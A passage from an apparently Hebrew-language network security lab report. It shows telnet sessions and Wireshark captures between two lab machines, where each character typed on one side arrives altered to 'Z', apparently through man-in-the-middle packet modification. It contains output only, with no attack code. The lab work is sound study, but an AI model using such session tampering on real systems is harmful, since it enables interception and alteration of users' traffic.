Last login: Wed Apr 22 20:55:32 EDT 2020 from 192.168.174.137 on pts/4
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.
[04/23/20]seed@computerB:~$ ZZZZ
```

ב-Wireshark ממחשב A, ניתן לראות שתוכן כל חבילה (תו בודד) השתנה ל-Z:

No.	Time	Source	Destination	Protocol	Length	Info
8	2020-04-23 23:35:52.4690942...	192.168.174.138	192.168.174.137	TELNET	55	Telnet Data ...
9	2020-04-23 23:35:52.4694408...	192.168.174.137	192.168.174.138	TCP	66	46048 → 23 [ACK] Seq=3325021345 Ack=1158733102 Win=237 Len=0 TSval=368532 TSe...
10	2020-04-23 23:35:53.0195290...	192.168.174.137	192.168.174.138	TELNET	67	Telnet Data ...
11	2020-04-23 23:35:53.0240665...	192.168.174.138	192.168.174.137	TELNET	55	Telnet Data ...
12	2020-04-23 23:35:53.0243868...	192.168.174.137	192.168.174.138	TCP	66	46048 → 23 [ACK] Seq=3325021346 Ack=1158733103 Win=237 Len=0 TSval=368671 TSe...
13	2020-04-23 23:35:53.3391942...	192.168.174.137	192.168.174.138	TELNET	67	Telnet Data ...
14	2020-04-23 23:35:53.3438703...	192.168.174.138	192.168.174.137	TELNET	55	Telnet Data ...
15	2020-04-23 23:35:53.3442096...	192.168.174.137	192.168.174.138	TCP	66	46048 → 23 [ACK] Seq=3325021347 Ack=1158733104 Win=237 Len=0 TSval=368751 TSe...
16	2020-04-23 23:35:53.4593192...	192.168.174.137	192.168.174.138	TELNET	67	Telnet Data ...
17	2020-04-23 23:35:53.4651117...	192.168.174.138	192.168.174.137	TELNET	55	Telnet Data ...
▶ Frame 10: 67 bytes on wire (536 bits), 67 bytes captured (536 bits) on interface 0						
▶ Ethernet II, Src: Vmware_36:3e:96 (00:0c:29:36:3e:96), Dst: Vmware_f9:cd:51 (00:0c:29:f9:cd:51)						
▶ Internet Protocol Version 4, Src: 192.168.174.137, Dst: 192.168.174.138						
▶ Transmission Control Protocol, Src Port: 46048, Dst Port: 23, Seq: 3325021345, Ack: 1158733102, Len: 1						
▼ Telnet						
Data: e						
0000	00 0c 29 f9 cd 51 00 0c	29 36 3e 96 08 00 45 10	..).Q..)6>...E.			
0010	00 35 b7 79 40 00 40 06	a4 d4 c0 a8 ae 89 c0 a8	.5.y@.@.			
0020	ae 8a b3 e0 00 17 c6 2f	cc a1 45 10 dd 2e 80 18/..E.....			
0030	00 ed a8 94 00 00 01 01	08 0a 00 05 a0 1d 00 05			
0040	80 9d 85		...			

אם נבצע את ה-Telnet במחשב B, נראה שלא יהיה שינוי בתוכן החבילה והמשתמש יראה בצד שלו את מה שהוא אכן הקליד.

```
[04/24/20]seed@computerB:~$ telnet 192.168.174.137
Trying 192.168.174.137...
Connected to 192.168.174.137.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
computerA login: seed
Password:
Last login: Fri Apr 24 00:04:01 EDT 2020 from 192.168.174.138 on pts/18
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

[04/24/20]seed@computerA:~$ yalla
```

תוכן החבילות כפי שנראה ב-Wireshark של B:

No.	Time	Source	Destination	Protocol	Length	Info
7	2020-04-24 00:20:53.9073157...	192.168.174.138	192.168.174.137	TELNET	67	Telnet Data ...
8	2020-04-24 00:20:53.9149087...	192.168.174.137	192.168.174.138	TELNET	60	Telnet Data ...
9	2020-04-24 00:20:53.9149299...	192.168.174.138	192.168.174.137	TCP	66	59460 → 23 [ACK] Seq=388822404 Ack=1254297423 Win=237 Len=0 TSval=4294948940
▶ Ethernet II, Src: Vmware_f9:cd:51 (00:0c:29:f9:cd:51), Dst: Vmware_2c:12:4c (00:0c:29:2c:12:4c)						
▶ Internet Protocol Version 4, Src: 192.168.174.137, Dst: 192.168.174.138						
▶ Transmission Control Protocol, Src Port: 23, Dst Port: 59460, Seq: 1254297422, Ack: 388822404, Len: 1						
▼ Telnet						
Data: a						
0000	00 0c 29 2c 12 4c 00 0c 29 f9 cd 51 08 00 45 00	..),.L..)..Q..E.				
0010	00 29 00 01 00 00 40 06 9c 69 c0 a8 ae 89 c0 a8	.)...@. .i.....				
0020	ae 8a 00 17 e8 44 4a c3 0f 4e 17 2c f5 04 50 18DJ. .N,...P.				
0030	20 00 01 48 00 00 00 00 00 00 00 00	..H.. .				